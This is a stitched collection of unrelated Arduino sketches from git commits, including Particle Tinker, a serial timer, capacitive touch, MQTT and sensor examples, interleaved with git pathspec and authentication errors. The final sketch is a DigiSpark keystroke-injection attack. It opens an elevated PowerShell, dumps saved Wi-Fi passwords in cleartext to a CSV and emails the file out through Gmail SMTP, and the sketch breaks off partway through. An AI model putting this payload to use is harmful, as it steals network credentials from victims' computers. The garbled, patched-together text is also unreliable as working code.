	Spark.function("digitalread", tinkerDigitalRead);
	Spark.function("digitalwrite", tinkerDigitalWrite);
	Spark.function("analogread", tinkerAnalogRead);
	Spark.function("analogwrite", tinkerAnalogWrite);

}

/* This function loops forever --------------------------------------------*/
void loop()
{
	//This will run in a loop
}

/*******************************************************************************
 * Function Name  : tinkerDigitalRead
 * Description    : Reads the digital value of a given pin
 * Input          : Pin
 * Output         : None.
 * Return         : Value of the pin (0 or 1) in INT type
                    Returns a negative number on failure
 *******************************************************************************/
int tinkerDigitalRead(String pin)
{
	//convert ascii to integer
	int pinNumber = pin.charAt(1) - '0';
	//Sanity check to see if the pin numbers are within limits
	if (pinNumber< 0 || pinNumber >7) return -1;

	if(pin.startsWith("D"))
	{
		pinMode(pinNumber, INPUT_PULLDOWN);
		return digitalRead(pinNumber);
	}
	else if (pin.startsWith("A"))
	{
		pinMode(pinNumber+10, INPUT_PULLDOWN);
		return digitalRead(pinNumber+10);
	}
	return -2;
}

/*******************************************************************************
 * Function Name  : tinkerDigitalWrite
 * Description    : Sets the specified pin HIGH or LOW
 * Input          : Pin and value
 * Output         : None.
 * Return         : 1 on success and a negative number on failure
 *******************************************************************************/
int tinkerDigitalWrite(String command)
{
	bool value = 0;
	//convert ascii to integer
	int pinNumber = command.charAt(1) - '0';
	//Sanity check to see if the pin numbers are within limits
	if (pinNumber< 0 || pinNumber >7) return -1;

	if(command.substring(3,7) == "HIGH") value = 1;
	else if(command.substring(3,6) == "LOW") value = 0;
	else return -2;

	if(command.startsWith("D"))
	{
		pinMode(pinNumber, OUTPUT);
		digitalWrite(pinNumber, value);
		return 1;
	}
	else if(command.startsWith("A"))
	{
		pinMode(pinNumber+10, OUTPUT);
		digitalWrite(pinNumber+10, value);
		return 1;
	}
	else return -3;
}

/*******************************************************************************
 * Function Name  : tinkerAnalogRead
 * Description    : Reads the analog value of a pin
 * Input          : Pin
 * Output         : None.
 * Return         : Returns the analog value in INT type (0 to 4095)
                    Returns a negative number on failure
 *******************************************************************************/
int tinkerAnalogRead(String pin)
{
	//convert ascii to integer
	int pinNumber = pin.charAt(1) - '0';
	//Sanity check to see if the pin numbers are within limits
	if (pinNumber< 0 || pinNumber >7) return -1;

	if(pin.startsWith("D"))
	{
		return -3;
	}
	else if (pin.startsWith("A"))
	{
		return analogRead(pinNumber+10);
	}
	return -2;
}

/*******************************************************************************
 * Function Name  : tinkerAnalogWrite
 * Description    : Writes an analog value (PWM) to the specified pin
 * Input          : Pin and Value (0 to 255)
 * Output         : None.
 * Return         : 1 on success and a negative number on failure
 *******************************************************************************/
int tinkerAnalogWrite(String command)
{
	//convert ascii to integer
	int pinNumber = command.charAt(1) - '0';
	//Sanity check to see if the pin numbers are within limits
	if (pinNumber< 0 || pinNumber >7) return -1;

	String value = command.substring(3);

	if(command.startsWith("D"))
	{
		pinMode(pinNumber, OUTPUT);
		analogWrite(pinNumber, value.toInt());
		return 1;
	}
	else if(command.startsWith("A"))
	{
		pinMode(pinNumber+10, OUTPUT);
		analogWrite(pinNumber+10, value.toInt());
		return 1;
	}
	else return -2;
}

error: pathspec 'solarXbike/tinker-x045-solarxbike.ino' did not match any file(s) known to git


Initial Arduino code

Initial Arduino code

#include <MsTimer2.h>

#define BUF_LEN 50
String VERSION = String("KHTimer v1.00");
const char TERMINATOR = ';';

// DP, F, G, A, B, C, D, E
int DIGITS[11] = {
  B01011111, // 0 -
  B00001100, // 1 -
  B00111011, // 2 -
  B00111110, // 3 -
  B01101100, // 4 -
  B01110110, // 5 -
  B01100111, // 6 -
  B00011100, // 7 -
  B01111111, // 8 -
  B01111100, // 9 -
  B00000000  // off
};
int POSITIONS[4] = {A0, A1, A2, A3};

const int ZERO = 10;

String buff;
volatile bool timerGo = true;
volatile int timerDigits[4] = {0,0,0,0};

void setup() {
  pinMode(A0,OUTPUT);
  pinMode(A1,OUTPUT);
  pinMode(A2,OUTPUT);
  pinMode(A3,OUTPUT);
  pinMode(A5,OUTPUT);
  pinMode(13,OUTPUT);

  pinMode(2,OUTPUT);
  pinMode(3,OUTPUT);
  pinMode(4,OUTPUT);
  pinMode(5,OUTPUT);
  pinMode(6,OUTPUT);
  pinMode(7,OUTPUT);
  pinMode(8,OUTPUT);
  pinMode(9,OUTPUT);

  digitalWrite(A0,LOW);
  digitalWrite(A1,LOW);
  digitalWrite(A2,LOW);
  digitalWrite(A3,LOW);

  WriteDigit(ZERO);

  digitalWrite(A5,LOW);

  // start serial port at 9600 bps and wait for port to open:
  Serial.begin(9600, SERIAL_8N1);
  while (!Serial) {
    ; // wait for serial port to connect. Needed for native USB port only
  }
  SendResponse("");
  SendResponse("");
  SendResponse(VERSION);

  MsTimer2::set(1, OnTimer); // 1ms period
  MsTimer2::start();
}

void loop() {
  if (Serial.available() > 0)
  {
    buff = ReadCommand();
    buff.trim();
    int idx = buff.indexOf(':');
    if (idx < 0)
    {
      // if there is no ':' this is not the right command
      return;
    }
    else if (idx == 0)
    {
      // addressed to all devices
    }
    else if (idx > 0)
    {
      String num = buff.substring(0, idx + 1);
      if (0 != num.toInt())
      {
        // not address of this device
        return;
      }
    }
    buff = buff.substring(idx + 1);
    idx = buff.indexOf(':');
    if (idx < 0)
    {
      OnUnknownCommand(buff);
      return;
    }
    buff = buff.substring(idx + 1);
    if (buff.length() > 0)
    {
      if (buff.startsWith("ver"))
      {
        SendResponse(VERSION);
      }
      else if (buff.startsWith("time"))
      {
        String tmp = String(timerGo ? "run" : "stop") + ":" + String(timerDigits[0],DEC) + String(timerDigits[1],DEC) + '.' + String(timerDigits[2],DEC) + String(timerDigits[3],DEC);
        SendResponse(tmp);
      }
      else if (buff.startsWith("stop"))
      {
        timerGo = false;
        SendResponse("OK");
      }
      else if (buff.startsWith("start"))
      {
        timerGo = true;
        SendResponse("OK");
      }
      else if (buff.startsWith("reset"))
      {
        timerGo = false;
        timerDigits[0] = 0;
        timerDigits[1] = 0;
        timerDigits[2] = 0;
        timerDigits[3] = 0;
        timerGo = true;
        SendResponse("OK");
      }
      else if (buff.startsWith("set"))
      {
        idx = buff.indexOf(':');
        buff = buff.substring(idx + 1);
        if (buff.length() >= 4)
        {
          timerGo = false;
          SetTime(0, buff[0] - 0x30);
          SetTime(1, buff[1] - 0x30);
          SetTime(2, buff[2] - 0x30);
          SetTime(3, buff[3] - 0x30);
          timerGo = true;
        }
        SendResponse("OK");
      }
      else if (buff.startsWith("stat"))
      {
        SendResponse(timerGo ? "run" : "stop");
      }
      else if (buff.startsWith("help"))
      {
        SendResponse("ver,time,stop,start,reset,stat");
      }
      else
      {
        OnUnknownCommand(buff);
      }
    }
  }
}

void SetTime(int pos, int val)
{
  if (pos >= 4) return;
  val = val > 9 ? 0 : val;
  timerDigits[pos] = val;
}

void OnUnknownCommand(String buff)
{
  SendResponse("Unknown command: '" + buff + "'!", 1);
}

int counter = 0;
void OnTimer() {

  {
    // show current LED
    int digit = counter & 0x3;
    DisplayOff();
    WriteDigit(timerDigits[digit]);
    ShowDigit(digit);
  }
  if (counter < 500)
  {
    counter++;
    return;
  }

  counter = 0;
  static boolean output = HIGH;
  digitalWrite(13, output);
  digitalWrite(9, output && timerGo);
  output = !output;
  if (output)
  {
    if (timerGo)
    {
      SecondUp();
    }
  }
}

String ReadCommand()
{
  digitalWrite(A5,LOW);
  delay(2);
  String tmp = Serial.readStringUntil(TERMINATOR);
  return tmp;
}

void SendResponse(const String& data)
{
  SendResponse(data, 0);
}

void SendResponse(const String& data, int rv)
{
  int tmp = 0;
  for (int i=0; i < data.length(); i++)
  {
    tmp += data[i];
  }
  tmp = tmp & 0xff;
  SendResponseInt(String("0:") + String(rv) + ':' + String(tmp,HEX) + ':' + data);
}

void SendResponseInt(const String& data)
{
  digitalWrite(A5,HIGH);
  delay(2);
  if (data.length() == 0)
  {
    Serial.println(data);
  }
  else
  {
    Serial.println(data + ";");
  }
  Serial.flush();
  delay(2);
  digitalWrite(A5,LOW);
}

void SecondUp()
{
  // seconds
  int tmp = timerDigits[3];
  tmp++;
  if (tmp < 10)
  {
    timerDigits[3] = tmp;
    return;
  }
  timerDigits[3] = 0;

  // 10th seconds
  tmp = timerDigits[2];
  tmp++;
  if (tmp < 6)
  {
    timerDigits[2] = tmp;
    return;
  }
  timerDigits[2] = 0;

  // minutes
  tmp = timerDigits[1];
  tmp++;
  if (tmp < 10)
  {
    timerDigits[1] = tmp;
    return;
  }
  timerDigits[1] = 0;

  // 10th minutes
  tmp = timerDigits[0];
  tmp++;
  if (tmp < 10)
  {
    timerDigits[0] = tmp;
    return;
  }
  timerDigits[0] = 0;
}

void DisplayOff()
{
  for (int i=0; i < 4; i++)
  {
    digitalWrite(POSITIONS[i],LOW);
  }
}

void ShowDigit(int digit)
{
  digitalWrite(POSITIONS[digit],HIGH);
}

void WriteDigit(int digit)
{
  int d = DIGITS[digit];
  //int d = B00000010;
  digitalWrite(8,d & 1); //e
  d = d >> 1;
  digitalWrite(7,d & 1); //d
  d = d >> 1;
  digitalWrite(6,d & 1); //c
  d = d >> 1;
  digitalWrite(5,d & 1); //b
  d = d >> 1;
  digitalWrite(4,d & 1); //a
  d = d >> 1;
  digitalWrite(3,d & 1); //g
  d = d >> 1;
  digitalWrite(2,d & 1); //f
}

error: pathspec 'TimerArdu.ino/TimerArdu.ino.ino' did not match any file(s) known to git


Add capacitive touch code

Add capacitive touch code

#include <CapacitiveSensor.h>

#define MAX_SENSORS 9

CapacitiveSensor cs0 = CapacitiveSensor(2,3);
CapacitiveSensor cs1 = CapacitiveSensor(4,5);
CapacitiveSensor cs2 = CapacitiveSensor(6,7);
CapacitiveSensor cs3 = CapacitiveSensor(8,9);
CapacitiveSensor cs4 = CapacitiveSensor(10,11);
CapacitiveSensor cs5 = CapacitiveSensor(12,13);
CapacitiveSensor cs6 = CapacitiveSensor(14,15);
CapacitiveSensor cs7 = CapacitiveSensor(16,17);
CapacitiveSensor cs8 = CapacitiveSensor(18,19);

const long threshold = 300;
const long num = 9;
long states[MAX_SENSORS];

void setup()
{
    uint8_t i;

    Serial.begin(9600);

    for(i = 0; i < MAX_SENSORS; i++)
        states[i] = 0;

    cs0.set_CS_AutocaL_Millis(0xFFFFFFFF);
    cs1.set_CS_AutocaL_Millis(0xFFFFFFFF);
    cs2.set_CS_AutocaL_Millis(0xFFFFFFFF);
    cs3.set_CS_AutocaL_Millis(0xFFFFFFFF);
    cs4.set_CS_AutocaL_Millis(0xFFFFFFFF);
    cs5.set_CS_AutocaL_Millis(0xFFFFFFFF);
    cs6.set_CS_AutocaL_Millis(0xFFFFFFFF);
    cs7.set_CS_AutocaL_Millis(0xFFFFFFFF);
    cs8.set_CS_AutocaL_Millis(0xFFFFFFFF);
}

void check_sensor(uint8_t id, CapacitiveSensor *s)
{
    long total;

    total = s->capacitiveSensor(30);
    Serial.println(total);

    if (total > threshold && states[id] == 0)
    {
//        Serial.println(id);
        states[id] = 1;
    }
    if (total <= threshold && states[id] == 1)
        states[id] = 0;

}

void loop()
{
    long total;

    delay(100);

#if 0
    check_sensor(0, &cs0);
    if (num == 1)
        return;

    check_sensor(1, &cs1);
    if (num == 2)
        return;

    check_sensor(2, &cs2);
    if (num == 3)
        return;

    check_sensor(3, &cs3);
    if (num == 4)
        return;

    check_sensor(4, &cs4);
    if (num == 5)
        return;

    check_sensor(5, &cs5);
    if (num == 6)
        return;

    check_sensor(6, &cs6);
    if (num == 7)
        return;

    check_sensor(7, &cs7);
    if (num == 8)
        return;
#endif

    check_sensor(8, &cs8);
}

error: pathspec 'interface/iface/iface.ino' did not match any file(s) known to git


added Servo Motor ATmega code

added Servo Motor ATmega code

error: pathspec 'Modules/Action/Servo' did not match any file(s) known to git
error: pathspec 'Motor/ServoMotorATmega/ServoMotorATmega.ino' did not match any file(s) known to git


Ultrasonic sensor testing

Ultrasonic sensor testing

#include <Ultrasonic.h>

Ultrasonic ultrasonic(12, 13);

void setup() {
  Serial.begin(9600);
  Serial.println("BEGIN");
}

void loop() {
  Serial.print("Distance: ");
  Serial.print(ultrasonic.Ranging(CM));
  Serial.println(" CM");

  delay(500);

}

error: pathspec 'personal/distance-ultrasonic/arduino/arduino.ino' did not match any file(s) known to git


Asservissement: maj code de correction de l'asservissement

Module Moteur/Software/Asservissement/Asservissement vitesse/Asservissement vitesse/asservissementVitesse.ino

error: pathspec 'Module' did not match any file(s) known to git
error: pathspec 'Moteur/Software/Asservissement/Asservissement' did not match any file(s) known to git
error: pathspec 'vitesse/Asservissement' did not match any file(s) known to git
error: pathspec 'vitesse/asservissementVitesse.ino' did not match any file(s) known to git


baud fix

baud fix

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/wiiproSK/arduino.git/'


Added modified encoder demo to support index

error: pathspec 'Encoder' did not match any file(s) known to git
error: pathspec 'Demo/EncoderDemo/EncoderDemo.ino' did not match any file(s) known to git


Added TinyMessageBoard

Added TinyMessageBoard

/*
  MessageDisplay by Meeo

  This example will make use of Meeo. If you haven't already,
  visit Meeo at https://meeo.io and create an account. Then
  check how to get started with the Meeo library through
  https://github.com/meeo/meeo-arduino

  OTHER REQUIREMENTS
  Download the OLED Driver for ESP8266 here:
  https://github.com/squix78/esp8266-oled-ssd1306.
  Follow the instructions on their README.md

  Send remote message and display it on a small OLED.
  More details of the project here:
  https://medium.com/meeo/meeo-project-tiny-message-board-c7e2f2e48a3e

  Copyright: Meeo
  Author: Terence Anton Dela Fuente
  License: MIT
*/

#include <Meeo.h>
#include <SH1106.h>

String nameSpace = "my_namespace";
String accessKey = "my_access_key";
String ssid = "MyWiFi";
String pass = "qwerty123";
String channel = "message-display";

SH1106 display(0x3c, 14, 12);

void setup() {
  Serial.begin(115200);

  Meeo.setEventHandler(meeoEventHandler);
  Meeo.setDataReceivedHandler(meeoDataHandler);
  Meeo.begin(nameSpace, accessKey, ssid, pass);

  display.init();
  display.flipScreenVertically();
  display.setFont(ArialMT_Plain_16);
  display.setTextAlignment(TEXT_ALIGN_CENTER);
}

void loop() {
  Meeo.run();
}

void meeoDataHandler(String topic, String payload) {
  Serial.print(topic);
  Serial.print(": ");
  Serial.println(payload);

  if (Meeo.isChannelMatched(topic, channel)) {
    // Show the message on a small OLED
    display.clear();
    display.drawString(64, 24, payload.c_str());
    display.display();
  }
}

void meeoEventHandler(MeeoEventType event) {
  switch (event) {
    case WIFI_DISCONNECTED:
      Serial.println("Not Connected to WiFi");
      break;
    case WIFI_CONNECTING:
      Serial.println("Connecting to WiFi");
      break;
    case WIFI_CONNECTED:
      Serial.println("Connected to WiFi");
      break;
    case MQ_DISCONNECTED:
      Serial.println("Not Connected to MQTT Server");
      break;
    case MQ_CONNECTED:
      Serial.println("Connected to MQTT Server");

      //Once connected, subscribe to the channel
      Meeo.subscribe(channel);
      break;
    case MQ_BAD_CREDENTIALS:
      Serial.println("Bad Credentials");
      break;
    case AP_MODE:
      Serial.println("AP Mode");
      break;
    default:
      break;
  }
}

error: pathspec 'examples/MeeoCrowtailBasic/TinyMessageBoard/TinyMessageBoard.ino' did not match any file(s) known to git


add adafruit io ssl/tls example for esp8266

/***************************************************
  Adafruit MQTT Library ESP8266 Adafruit IO SSL/TLS example

  Must use the latest version of ESP8266 Arduino from:
    https://github.com/esp8266/Arduino

  Works great with Adafruit's Huzzah ESP board & Feather
  ----> https://www.adafruit.com/product/2471
  ----> https://www.adafruit.com/products/2821

  Adafruit invests time and resources providing this open source code,
  please support Adafruit and open-source hardware by purchasing
  products from Adafruit!

  Written by Tony DiCola for Adafruit Industries.
  SSL/TLS additions by Todd Treece for Adafruit Industries.
  MIT license, all text above must be included in any redistribution
 ****************************************************/
#include <ESP8266WiFi.h>
#include "Adafruit_MQTT.h"
#include "Adafruit_MQTT_Client.h"

/************************* WiFi Access Point *********************************/

#define WLAN_SSID       "...your SSID..."
#define WLAN_PASS       "...your password..."

/************************* Adafruit.io Setup *********************************/

#define AIO_SERVER      "io.adafruit.com"
#define AIO_SERVERPORT  8883                   // 8883 for MQTTS
#define AIO_USERNAME    "...your AIO username (see https://accounts.adafruit.com)..."
#define AIO_KEY         "...your AIO key..."

/************ Global State (you don't need to change this!) ******************/

// WiFiFlientSecure for SSL/TLS support
WiFiClientSecure client;

// Store the MQTT server, username, and password in flash memory.
// This is required for using the Adafruit MQTT library.
const char MQTT_SERVER[] PROGMEM    = AIO_SERVER;
const char MQTT_USERNAME[] PROGMEM  = AIO_USERNAME;
const char MQTT_PASSWORD[] PROGMEM  = AIO_KEY;

// Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.
Adafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_USERNAME, MQTT_PASSWORD);

// io.adafruit.com SHA1 fingerprint
const char* fingerprint = "26 96 1C 2A 51 07 FD 15 80 96 93 AE F7 32 CE B9 0D 01 55 C4";

/****************************** Feeds ***************************************/

// Setup a feed called 'photocell' for publishing.
// Notice MQTT paths for AIO follow the form: <username>/feeds/<feedname>
const char TEST_FEED[] PROGMEM = AIO_USERNAME "/feeds/test";
Adafruit_MQTT_Publish test = Adafruit_MQTT_Publish(&mqtt, TEST_FEED);

/*************************** Sketch Code ************************************/

// Bug workaround for Arduino 1.6.6, it seems to need a function declaration
// for some reason (only affects ESP8266, likely an arduino-builder bug).
void MQTT_connect();
void verifyFingerprint();

void setup() {
  Serial.begin(115200);
  delay(10);

  Serial.println(F("Adafruit IO MQTTS (SSL/TLS) Example"));

  // Connect to WiFi access point.
  Serial.println(); Serial.println();
  Serial.print("Connecting to ");
  Serial.println(WLAN_SSID);

  delay(1000);

  WiFi.begin(WLAN_SSID, WLAN_PASS);
  delay(2000);

  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }
  Serial.println();

  Serial.println("WiFi connected");
  Serial.println("IP address: "); Serial.println(WiFi.localIP());

  // check the fingerprint of io.adafruit.com's SSL cert
  verifyFingerprint();

}

uint32_t x=0;

void loop() {
  // Ensure the connection to the MQTT server is alive (this will make the first
  // connection and automatically reconnect when disconnected).  See the MQTT_connect
  // function definition further below.
  MQTT_connect();

  // Now we can publish stuff!
  Serial.print(F("\nSending val "));
  Serial.print(x);
  Serial.print(F(" to test feed..."));
  if (! test.publish(x++)) {
    Serial.println(F("Failed"));
  } else {
    Serial.println(F("OK!"));
  }

}

void verifyFingerprint() {

  const char* host = AIO_SERVER;

  Serial.print("Connecting to ");
  Serial.println(host);

  if (! client.connect(host, AIO_SERVERPORT)) {
    Serial.println("Connection failed. Halting execution.");
    while(1);
  }

  if (client.verify(fingerprint, host)) {
    Serial.println("Connection secure.");
  } else {
    Serial.println("Connection insecure! Halting execution.");
    while(1);
  }

}

// Function to connect and reconnect as necessary to the MQTT server.
// Should be called in the loop function and it will take care if connecting.
void MQTT_connect() {
  int8_t ret;

  // Stop if already connected.
  if (mqtt.connected()) {
    return;
  }

  Serial.print("Connecting to MQTT... ");

  uint8_t retries = 3;
  while ((ret = mqtt.connect()) != 0) { // connect will return 0 for connected
       Serial.println(mqtt.connectErrorString(ret));
       Serial.println("Retrying MQTT connection in 5 seconds...");
       mqtt.disconnect();
       delay(5000);  // wait 5 seconds
       retries--;
       if (retries == 0) {
         // basically die and wait for WDT to reset me
         while (1);
       }
  }

  Serial.println("MQTT Connected!");
}

error: pathspec 'examples/adafruitio_secure_esp8266/adafruitio_secure_esp8266.ino' did not match any file(s) known to git


Sample code

Sample code

#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>

#include "HX711.h"

/////////////////////
// Pin Definitions //
/////////////////////
const int LED_PIN = 5; // Thing's onboard, green LED
const int LOADCELL_DATA = 12;
const int LOADCELL_CLK = 13;

ESP8266WebServer server(80);
HX711 scale(LOADCELL_DATA, LOADCELL_CLK);
float calibration_factor = 2000; // needs to come from calibration sketch

void setupScale() {
  scale.set_scale();
  scale.tare();  //Reset the scale to 0
  scale.set_scale(calibration_factor); //Adjust to this calibration factor
}

float getScaleWeight(){
  return scale.get_units(5);  // average of 5 readings
}

const char pageFirstPart[]="<html>\
  <head>\
    <title>447 Project</title>\
  </head>\
  <body>\
";

const char pageEnding[]="</body>\
</html>";

void handleRoot()
{
  float weight = getScaleWeight();

  String response = pageFirstPart;
  response += "Weight: " + String(weight, 3);  // 3 is for number of decimal places
  response += pageEnding;

  server.send(200, "text/html", response);
}

void loop()
{
  server.handleClient();
}

void setup()
{
  pinMode(LED_PIN, OUTPUT);
  digitalWrite(LED_PIN, HIGH);
  setupScale();

  WiFi.mode(WIFI_AP);
  WiFi.softAP("FLL447");  // no password

  server.on ( "/", handleRoot );

  server.begin();
}

error: pathspec 'Geek-FLL-Project.ino' did not match any file(s) known to git


Create SixChannelLogger.ino

Create SixChannelLogger.ino

/*

Six channel data logger using Arduino DUE.

**
Original purpose is as a slow multi-channel data logger for use with a DFB laser, where
a frequency sweep is controlled via temperature tuning. A digital pin is used, with an external
potentiometer, to set the magnitude of the temperature sweep (the onboard DAC could have been used,
but the adjustment range is only 1/6 to 5/6 of the full 0 - 3V3 range). The temperature is swept
by switching the state of the digital pin, which in turn changes the setpoint on the external
temperature controller (Thorlabs TED200C). Since the temperature scan is slow (~90 seconds), and
we need lots of channels, a normal oscilloscope isn't the best for this job.

Photodiode signals from the main experiment vapour cell, two reference cells (one at zero field,
one at 0.6 Tesla), Fabry-Perot etalon, a laser power monitor photodiode, and the temperature
monitor (actual temperature, rather than setpoint) are required.
**

Analog inputs on pins A0-A5 are read-in at a sampling rate of ~2 kS/s
The sampling rate can be increased up to around ~16 kS/s for 6 channels, probably faster for
fewer channels [channels must be enabled/disabled by setting the registers in the setup() method below],
by adjusting the sampling_time variable

The ADC data is buffered then sent quickly via SerialUSB. Since there is some overhead
involved with Serial transfer, the data should be transferred in large quantities ( > 1 kB) so
as to minimise total transmission time. Buffering will be memory-limited at some point. The
largest buffer possible is currently untested!

PySerial is used to grab the data from the serial port and read it into python. For this,
the python module SixChannelReader.py has been written (in the same directory as this file),
which provides class-based methods of reading in the data, as well as a method of
synchronisation for triggering purposes.

************
** NOTE: the USB connection to the Arduino must be to the NATIVE port, not the programming port!
************

Author: James Keaveney
18/05/2015

*/

// set up variables
const int buffer_length = 200; // length of data chunks sent at a time via SerialUSB

const long acquisition_time = 90000; // in ms (~2 minutes in real experiment)
const long settling_time_ms = 15000; // in ms
const int sampling_time = 440; // in micros

const int TempAdjustPin = 2;

String strTime = "";
String strOut = "";
String strC1 = "";
String strC2 = "";
String strC3 = "";
String strC4 = "";
String strC5 = "";
String strC6 = "";

unsigned long current_time;

void setup() {
  // set up digital pin
  pinMode(TempAdjustPin, OUTPUT);

  // set ADC resolution
  analogReadResolution(12);

  // manually set registers for faster analog reading than the normal arduino methods
  ADC->ADC_MR |= 0xC0; // set free running mode (page 1333 of the Sam3X datasheet)
  ADC->ADC_CHER = 0xFC;  // enable channels  (see page 1338 of datasheet) on adc 7,6,5,4,3,2 (pin A0-A5)
                       // see also http://www.arduino.cc/en/Hacking/PinMappingSAM3X for the pin mapping between Arduino names and SAM3X pin names
  ADC->ADC_CHDR = 0xFF03; // disable all other channels
  ADC->ADC_CR=2;       // begin ADC conversion

  // initialise serial port
  SerialUSB.begin(115200); // baud rate is ignored for USB - always at 12 Mb/s
  while (!SerialUSB); // wait for USB serial port to be connected - wait for pc program to open the serial port

}

void loop() {

  // data acquisition will start with a synchronisation step:
  // python should send a single byte of data, the arduino will send one back to sync timeouts
  int incoming = 0;
  if (SerialUSB.available() > 0) // polls whether anything is ready on the read buffer - nothing happens until there's something there
  {
    incoming = SerialUSB.read();
    // after data received, send the same back
    SerialUSB.println(incoming);

    //wait a little time for python to be ready to receive data - (not sure if this is really necessary)
    delay(50); // ms

    // do something to alter the temperature - swap digital pin state
    digitalWrite(TempAdjustPin,!(digitalRead(TempAdjustPin)));

    // measure start time - then acquire data for an amount of time set by the acquisition_time variable
    unsigned long start_micros = micros();
    unsigned long start_time = millis();
    while (millis() < (start_time+acquisition_time))
    {

      // generate and concatenate strings
      for (int jj = 0; jj < buffer_length; jj++)
      {

        // ADC acquisition

        // can put this in a small loop for some averaging if required - takes ~ 60 microsec per read/concatenate cycle
        while((ADC->ADC_ISR & 0xFC)!=0xFC); // wait for conversion to complete - see page 1345 of datasheet

        // concatenate strings
        current_time = micros()-start_micros;
        strTime.concat(current_time); // time axis
        strTime.concat(',');
        strC1.concat(ADC->ADC_CDR[7]); // read data from the channel data register
        strC1.concat(',');
        strC2.concat(ADC->ADC_CDR[6]);
        strC2.concat(',');
        strC3.concat(ADC->ADC_CDR[5]);
        strC3.concat(',');
        strC4.concat(ADC->ADC_CDR[4]);
        strC4.concat(',');
        strC5.concat(ADC->ADC_CDR[3]);
        strC5.concat(',');
        strC6.concat(ADC->ADC_CDR[2]);
        strC6.concat(',');

        //Serial.print(current_time);
        //Serial.print(",");

        delayMicroseconds(sampling_time); // limit sampling rate to something reasonable - a few kS/s
      }

      // send data via SerialUSB
      // perform a flush first to wait for the previous buffer to be sent, before overwriting it
      SerialUSB.flush();
      strOut = strTime + strC1 + strC2 + strC3 + strC4 + strC5 + strC6;
      SerialUSB.print(strOut); // doesn't wait for write to complete before moving on

      // clear string data - re-initialise
      strTime = "";
      strC1 = "";
      strC2 = "";
      strC3 = "";
      strC4 = "";
      strC5 = "";
      strC6 = "";
    }

    // finally, print end-of-data and end-of-line character to signify no more data will be coming
    SerialUSB.println("\0");

    // wait a while to allow temperature to settle
    delay(settling_time_ms);
  }
}

error: pathspec 'SixChannelLogger.ino' did not match any file(s) known to git


Main code begun

Main code begun

/*
  TetrisOnArduino.ino
  Author: Matt Webb

*/

error: pathspec 'TetrisOnArduino/TetrisOnArduino.ino' did not match any file(s) known to git


Add Arduino code for KnobToStepper.

Add Arduino code for KnobToStepper.

#define DIR_PIN 2
#define STEP_PIN 3

int previous = 0;

void setup() {
  pinMode(DIR_PIN, OUTPUT);
  pinMode(STEP_PIN, OUTPUT);
}

void loop(){
  int val = analogRead(0);
  rotate(val - previous, .2);
  previous = val;
}

void rotate(float dist, float speed){
  //rotate a specific distance (negitive for reverse movement)
  //speed is any number from .01 -> 1 with 1 being fastest - Slower is stronger
  int dir = (dist > 0)? HIGH:LOW;
  digitalWrite(DIR_PIN,dir);

  int steps = abs(dist)*(1/0.225);
  float usDelay = (1/speed) * 70;

  for(int i=0; i < steps; i++){
    digitalWrite(STEP_PIN, HIGH);
    delayMicroseconds(usDelay);

    digitalWrite(STEP_PIN, LOW);
    delayMicroseconds(usDelay);
  }
}

error: pathspec '1_energy-information-transduction/b_arduino-starter/ii_basic-examples/1.b.ii.6_motor-knob/KnobToStepper/KnobToStepper.ino' did not match any file(s) known to git


add touch sensor

add touch sensor

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/locatw/Autonek.git/'


Initial upload of updated script

Initial upload of updated script

//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.

//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
//of Windows or simply older builds of Windows 10, the other version works like a charm.

#include "DigiKeyboard.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
